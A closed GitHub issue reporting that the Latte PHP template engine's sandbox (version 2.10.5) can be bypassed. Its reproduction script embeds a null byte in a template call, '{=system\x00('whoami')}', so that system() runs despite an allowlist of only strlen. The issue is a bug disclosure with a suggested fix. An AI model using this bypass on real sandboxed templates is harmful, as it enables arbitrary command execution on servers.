-
-
Notifications
You must be signed in to change notification settings - Fork 112
Closed
Description
Version: 2.10.5
Bug Description
There is a way to bypass allowFunctions that will affect security.
Steps To Reproduce
<?php
error_reporting(0);
require 'vendor/autoload.php';
$latte = new Latte\Engine;
$policy = new Latte\Sandbox\SecurityPolicy;
$policy->allowFilters($policy::ALL);
$policy->allowMacros(['if','=']);
$policy->allowFunctions(['strlen']);
$latte->setPolicy($policy);
$latte->setSandboxMode();
$latte->setAutoRefresh(false);
file_put_contents('index.latte',"{=system\x00('whoami')}");
$latte->render('index.latte');This will execute the system function.
Expected Behavior
Should throw an error not allowed by system function
Possible Solution
Use rigorous regular expression segmentation, or add more rigorous judgments in isFunctionAllowed function
Metadata
Metadata
Assignees
Labels
No labels